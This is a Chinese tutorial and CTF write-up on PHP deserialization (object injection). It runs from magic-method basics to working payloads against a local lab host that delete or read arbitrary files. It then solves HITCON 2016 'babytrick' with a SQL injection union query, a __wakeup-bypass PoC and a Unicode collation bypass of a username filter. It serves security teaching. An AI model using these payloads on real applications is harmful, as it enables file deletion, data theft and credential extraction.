php反序列化漏洞又称为php对象注入,是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险。为了理解这个漏洞,请读者具备基础的php知识。类和变量是非常容易理解的php概念。举个例子,1.php在一个类中定义了一个变量和一个方法。它创建了一个对象并且调用了PrintVariable函数,该函数会输出变量variable。
- <?php
- class TestClass
- {
- // 一个变量
- public $variable = 'This is a string';
- // 一个简单的方法
- public function PrintVariable()
- {
- echo $this->variable;
- }
- }
- // 创建一个对象
- $object = new TestClass();
- // 调用一个方法
- $object->PrintVariable();
- ?>
php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct, __destruct和__toString。可以看出,__construct在对象创建时调用,__destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。
- <?php
- class TestClass
- {
- // 一个变量
- public $variable = 'This is a string';
- // 一个简单的方法
- public function PrintVariable()
- {
- echo $this->variable . '<br />';
- }
- // Constructor
- public function __construct()
- {
- echo '__construct <br />';
- }
- // Destructor
- public function __destruct()
- {
- echo '__destruct <br />';
- }
- // Call
- public function __toString()
- {
- return '__toString<br />';
- }
- }
- // 创建一个对象
- // __construct会被调用
- $object = new TestClass();
- // 创建一个方法
- $object->PrintVariable();
- // 对象被当作一个字符串
- // __toString会被调用
- echo $object;
- // End of PHP script
- // 脚本结束__destruct会被调用
- ?>
php允许保存一个对象方便以后重用,这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果为一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize则可以将serialize生成的字符串变换回变量。让我们在3.php中添加序列化的例子,看看php对象序列化之后的格式。
- <?php
- // 某类
- class User
- {
- // 类数据
- public $age = 0;
- public $name = '';
- // 输出数据
- public function PrintData()
- {
- echo 'User ' . $this->name . ' is ' . $this->age
- . ' years old. <br />';
- }
- }
- // 创建一个对象
- $usr = new User();
- // 设置数据
- $usr->age = 20;
- $usr->name = 'John';
- // 输出数据
- $usr->PrintData();
- // 输出序列化之后的数据
- echo serialize($usr);
- ?>
为了使用这个对象,在4.php中用unserialize重建对象。
- <?php
- // 某类
- class User
- {
- // Class data
- public $age = 0;
- public $name = '';
- // Print data
- public function PrintData()
- {
- echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
- }
- }
- // 重建对象
- $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
- // 调用PrintData 输出数据
- $usr->PrintData();
- ?>
magic函数__construct和__destruct会在对象创建或者销毁时自动调用;__sleep magic方法在一个对象被序列化的时候调用;__wakeup magic方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。
- <?php
- class Test
- {
- public $variable = 'BUZZ';
- public $variable2 = 'OTHER';
- public function PrintVariable()
- {
- echo $this->variable . '<br />';
- }
- public function __construct()
- {
- echo '__construct<br />';
- }
- public function __destruct()
- {
- echo '__destruct<br />';
- }
- public function __wakeup()
- {
- echo '__wakeup<br />';
- }
- public function __sleep()
- {
- echo '__sleep<br />';
- return array('variable', 'variable2');
- }
- }
- // 创建对象调用__construct
- $obj = new Test();
- // 序列化对象调用__sleep
- $serialized = serialize($obj);
- // 输出序列化后的字符串
- print 'Serialized: ' . $serialized . '<br />';
- // 重建对象调用__wakeup
- $obj2 = unserialize($serialized);
- // 调用PintVariable输出数据
- $obj2->PrintVariable();
- // 脚本结束调用__destruct
- ?>
现在我们了解序列化是如何工作的,但是我们如何利用它呢?有多种可能的方法,取决于应用程序、可用的类和magic函数。记住,序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义__wakeup或__destruct的类,这些函数会影响Web应用程序。例如,我们可能会找到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为logfile.php。
- <?php
- class LogFile
- {
- // log文件名
- public $filename = 'error.log';
- // 储存日志文件
- public function LogData($text)
- {
- echo 'Log some data: ' . $text . '<br />';
- file_put_contents($this->filename, $text, FILE_APPEND);
- }
- // 删除日志文件
- public function __destruct()
- {
- echo '__destruct deletes "' . $this->filename . '" file. <br />';
- unlink(dirname(__FILE__) . '/' . $this->filename);
- }
- }
- ?>
这是一个使用它的例子。
- <?php
- include 'logfile.php';
- // 创建一个对象
- $obj = new LogFile();
- // 设置文件名和要储存的日志数据
- $obj->filename = 'somefile.log';
- $obj->LogData('Test');
- // 脚本结束__destruct被调用somefile.log文件被删除
- ?>
在其它脚本中我们可能找到一个unserialize的调用,并且参数是用户提供的。把下面这段代码保存为test.php。
- <?php
- include 'logfile.php';
- // ... 一些使用LogFile类的代码...
- // 简单的类定义
- class User
- {
- // 类数据
- public $age = 0;
- public $name = '';
- // 输出数据
- public function PrintData()
- {
- echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
- }
- }
- // 重建用户输入的数据
- $usr = unserialize($_GET['usr_serialized']);
- ?>
- <?php
- include 'logfile.php';
- $obj = new LogFile();
- $obj->filename = '1.php';
- echo serialize($obj) . '<br />';
- ?>
访问http://192.168.153.138/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}。
显示已经删除了1.php。验证一下,果然成功删除了。
这就是漏洞名称的由来:在变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其它坑爹的行为。先不谈 __wakeup 和 __destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。举个例子,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许__toString读取某个文件。把下面这段代码保存为test.php。
- <?php
- // … 一些include ...
- class FileClass
- {
- // 文件名
- public $filename = 'error.log';
- // 当对象被作为一个字符串会读取这个文件
- public function __toString()
- {
- return file_get_contents($this->filename);
- }
- }
- // Main User class
- class User
- {
- // Class data
- public $age = 0;
- public $name = '';
- // 允许对象作为一个字符串输出上面的data
- public function __toString()
- {
- return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
- }
- }
- // 用户可控
- $obj = unserialize($_GET['usr_serialized']);
- // 输出__toString
- echo $obj;
- }
- ?>
访问http://192.168.153.138/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}。
但是如果我们用序列化调用FileClass呢?先建立一个1.txt。
创建利用代码123.php。
- <?php
- include 'test.php';
- $fileobj = new FileClass();
- $fileobj->filename = '1.txt';
- echo serialize($fileobj);
- ?>
访问http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}。
成功显示了文本内容。也可以使用其他magic函数:如果对象将调用一个不存在的函数__call将被调用;如果对象试图访问不存在的类变量__get和__set将被调用。但是利用这种漏洞并不局限于magic函数,在普通的函数上也可以采取相同的思路。例如User类可能定义一个get方法来查找和打印一些用户数据,但是其他类可能定义一个从数据库获取数据的get方法,这从而会导致SQL注入漏洞。set或write方法会将数据写入任意文件,可以利用它获得远程代码执行。唯一的技术问题是注入点可用的类,但是一些框架或脚本具有自动加载的功能。最大的问题在于人:理解应用程序以能够利用这种类型的漏洞,因为它可能需要大量的时间来阅读和理解代码。
由HITCON 2016一道web聊一聊php反序列化漏洞
1.unserialize函数
php官方文档(
http://php.net/manual/en/function.unserialize.php
),从中可以得到信息unserialize函数会产生一个php值,类型可能为数组、对象等等。如果被反序列化的变量为对象,在成功重构对象后php会自动调用__wakeup成员方法(如果方法存在、解构失败会返回false)同时给出了警告,不要传递给unserialize不信任的用户输入。
理解序列化的字符串(unserlialize的参数):
O:3:”foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}
O:3: 参数类型为对象(object),数组(array)为a
“foo”:2: 参数名为foo,有两个值
S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i),长度为4,值为file。长度为9的字符串shell.php
s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data,长度为5的字符串aaaaa
object foo,属性file:shell.php,属性data:aaaaa
2.反序列化漏洞
php反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)
个人理解漏洞为执行unserialize函数,调用某一类并执行魔术方法(magic method),之后可以执行类中函数,产生安全问题。
所以漏洞的前提:
1)unserialize函数的变量可控
2)php文件中存在可利用的类,类中有魔术方
法
利用场景
在ctf、代码审计中常见
,黑盒测试要通过检查cookie等有没有序列化的值来查看。
反序列化漏洞比如去年12月的joomla反序列化漏洞、SugarCRM v6.5.23 PHP反序列化对象注入漏洞,ctf中比如三个白帽第三期、安恒杯web3。
防御方法主要有
对参数进行处理、换用更安全的函数。
推荐阅读:SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析
3.反序列化练习
如下为一个php文件源码,我们定义了一个对象之后又创建了对象并输出了序列化的字符串
<?php
// 某类
class User
{
// 类数据
public
$age
= 0;
public
$name
=
''
;
// 输出数据
public
function
PrintData
()
{
echo
'User '
.
$this
->name .
' is '
.
$this
->age
.
' years old. <br />'
;
}
}
// 创建一个对象
$usr
= new User();
// 设置数据
$usr
->age = 20;
$usr
->name =
'John'
;
// 输出数据
$usr
->PrintData();
// 输出序列化之后的数据
echo
serialize(
$usr
);
?>
输出为:
User
John
is
20
years
old
.
O
:4:"User":2
:{
s
:
3
:
"age"
;
i
:
20
;
s
:
4
:
"name"
;
s
:
4
:
"John”;}
以下代码同上,不过并没有创建对象,而是使用unserialize函数调用了这个类。大家可以试一下。
<?php
// 某类
class User
{
// Class data
public $age = 0;
public $name = '';
// Print data
public
function
PrintData
()
{
echo
'User '
. $this->name .
' is '
. $this->age .
' years old. <br />'
;
}
}
// 重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
// 调用PrintData 输出数据
$usr->PrintData();
?>
输出为:User John is 20 years old
这个函数中的序列化字符串为’O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;}’,即一个user对象,属性值age为20,属性值name为john。调用user类并给属性赋了值,在有魔术方法时会自动调用。
4.writeup实战
以本次HITCON 2016的web题babytrick为例:
(目前已关闭,可访问
https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick
查看源码
<?php
include
"config.php"
;
class
HITCON
{
private
$method;
private
$args;
private
$conn;
public
function
__construct
($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function
show
() {
list
($username) = func_get_args();
$sql = sprintf(
"SELECT * FROM users WHERE username='%s'"
, $username);
$obj = $this->__query($sql);
if
( $obj !=
false
) {
$this->__die( sprintf(
"%s is %s"
, $obj->username, $obj->role) );
}
else
{
$this->__die(
"Nobody Nobody But You!"
);
}
}
function
login
() {
global
$FLAG;
list
($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf(
"SELECT * FROM users WHERE username='%s' AND password='%s'"
, $username, $password);
if
( $username ==
'orange'
|| stripos($sql,
'orange'
) !=
false
) {
$this->__die(
"Orange is so shy. He do not want to see you."
);
}
$obj = $this->__query($sql);
if
( $obj !=
false
&& $obj->role ==
'admin'
) {
$this->__die(
"Hi, Orange! Here is your flag: "
. $FLAG);
}
else
{
$this->__die(
"Admin only!"
);
}
}
function
source
() {
highlight_file(
__FILE__
);
}
function
__conn
() {
global
$db_host, $db_name, $db_user, $db_pass, $DEBUG;
if
(!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if
($DEBUG) {
$sql =
"CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8"
;
$this->__query($sql, $back=
false
);
$sql =
"INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')"
;
$this->__query($sql, $back=
false
);
}
mysql_query(
"SET names utf8"
);
mysql_query(
"SET sql_mode = 'strict_all_tables'"
);
}
function
__query
($sql, $back=true) {
$result = @mysql_query($sql);
if
($back) {
return
@mysql_fetch_object($result);
}
}
function
__die
($msg) {
$this->__close();
header(
"Content-Type: application/json"
);
die
( json_encode(
array
(
"msg"
=> $msg) ) );
}
function
__close
() {
mysql_close($this->conn);
}
function
__destruct
() {
$this->__conn();
if
(in_array($this->method,
array
(
"show"
,
"login"
,
"source"
))) {
@call_user_func_array(
array
($this, $this->method), $this->args);
}
else
{
$this->__die(
"What do you do?"
);
}
$this->__close();
}
function
__wakeup
() {
foreach
($this->args
as
$k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
if
(
isset
($_GET[
"data"
])) {
@unserialize($_GET[
"data"
]);
}
else
{
new
HITCON(
"source"
,
array
());
}
从源码中可以看到使用了unserialize函数并且没有过滤,且定义了类。所以想到php反序列化漏洞、对象注入。
要想得到flag,需要利用反序列化执行类中函数login。首先需要用户orange密码(如果存在orange的话),于是利用类中show函数得到密码。
看show函数我们可以看出未对参数进行过滤,可以进行sql注入,构造语句为:
bla’ union
select
password
,username,
password
from
users
where
username=’orange’– –
那么如何使用反序列化执行函数呢?注意到类中有魔术方法__wakeup,其中函数会对我们的输入进行过滤、转义。
如何绕过__wakeup呢?简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考
https://bugs.php.net/bug.php?id=72663
,某一种情况下,出错的对象不会被毁掉,会绕过__wakeup函数、引用其他的魔术方法。
官方exp如下:
<?php
class obj implements Serializable {
var
$data;
function
serialize
() {
return
serialize($this->data);
}
function
unserialize
($data) {
$this->data = unserialize($data);
}
}
$inner =
'a:1:{i:0;O:9:"Exception":2:{s:7:"'
.
""
.
'*'
.
""
.
'file";R:4;}'
;
$exploit =
'a:2:{i:0;C:3:"obj":'
.strlen($inner).
':{'
.$inner.
'}i:1;R:4;}'
;
$data = unserialize($exploit);
echo
$data[
1
];
?>
根据poc进行改造如下,计入了
O
:9:"Exception":2
:{
s
:
7
:
"*file"
;
R
:
4
;};}
O
:6:"HITCON":3
:{
s
:
14
:
"%00HITCON%00method"
;
s
:
5
:
"login"
;
s
:
12
:
"%00HITCON%00args"
;
a
:
2
:{i:
0
;
s
:
6
:
"orange"
;
i
:
1
;
s
:
8
:
"password"
;}
s
:12:"
%00
HITCON
%00
conn
";
O
:9:"Exception":2
:{
s
:
7
:
"*file"
;
R
:
4
;};}}
这种情况下就不会执行__wakeup方法。
(同时该cve介绍了另一种情况,即成员属性数目大于实际数目时可绕过wakeup方法,把 O:6:”HITCON”:3 中的3改为任意比3大数字即可,如5。另一种绕过方法为对wakeup过滤的绕过,利用了sql注入中的/**/
为什么构造的字符串为“%00HITCON%00…”呢?k14us大佬告诉我序列化时生成的序列化字符串中类名前后本来就会有0×00,url编码下为%00。可以echo(serialize($o))查看。前面举的例子之所以没用%00是因为成员属性为private。
如果在文件里直接调试就不用url编码,直接” HITCON …”即可(%00替换为空格
加入注入语句为:
O
:6:"HITCON":3
:{
s
:
14
:
"%00HITCON%00method"
;
s
:
4
:
"show"
;
s
:
12
:
"%00HITCON%00args"
;
a
:
2
:{i:
0
;
s
:
83
:
"bla’ union select password,username,password from users where username=’orange’– –"
;
i
:
1
;
s
:
6
:
"phddaa"
;}
s
:12:"
%00
HITCON
%00
conn
";
O
:9:"Exception":2
:{
s
:
7
:
"*file"
;
R
:
4
;};}}
得到结果:
{“msg”:”babytrick1234 is babytrick1234″}
构造好:
O
:6:"HITCON":3
:{
s
:
14
:
"%00HITCON%00method"
;
s
:
5
:
"login"
;
s
:
12
:
"%00HITCON%00args"
;
a
:
2
:{i:
0
;
s
:
6
:
"orange"
;
i
:
1
;
s
:
13
:
"babytrick1234"
;}
s
:12:"
%00
HITCON
%00
conn
";
O
:9:"Exception":2
:{
s
:
7
:
"*file"
;
R
:
4
;};}}
这时会返回
{“msg”:”Orange is so shy. He do not want to see you.”}
接下来考虑如何绕过,注意到__conn方法中有 mysql_query(“SET names utf8″); 观察到php的字符编码不是utf8,考虑利用字符差异绕过。目前看到的两个wp利用的字母有Ą、Ã,可实现绕过。
poc为:
O
:6:"HITCON":3
:{
s
:
14
:
"%00HITCON%00method"
;
s
:
5
:
"login"
;
s
:
12
:
"%00HITCON%00args"
;
a
:
2
:{i:
0
;
s
:
6
:
"orÃnge"
;
i
:
1
;
s
:
13
:
"babytrick1234"
;}
s
:12:"
%00
HITCON
%00
conn
";
O
:9:"Exception":2
:{
s
:
7
:
"*file"
;
R
:
4
;};}}
得到了空白页面,注意到 s:6:”orÃnge” ,改为s:6:”orÃnge” ,构造如下:
O
:6:"HITCON":3
:{
s
:
14
:
"%00HITCON%00method"
;
s
:
5
:
"login"
;
s
:
12
:
"%00HITCON%00args"
;
a
:
2
:{i:
0
;
s
:
7
:
"orÃnge"
;
i
:
1
;
s
:
13
:
"babytrick1234"
;}
s
:12:"
%00
HITCON
%00
conn
";
O
:9:"Exception":2
:{
s
:
7
:
"*file"
;
R
:
4
;};}}
得到了结果,很开心有木有?
{“msg”:”Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn’t it?}”}
参考资料:
* 本文原创作者:grt1stnull,本文属FreeBuf原创奖励计划,未经许可禁止转载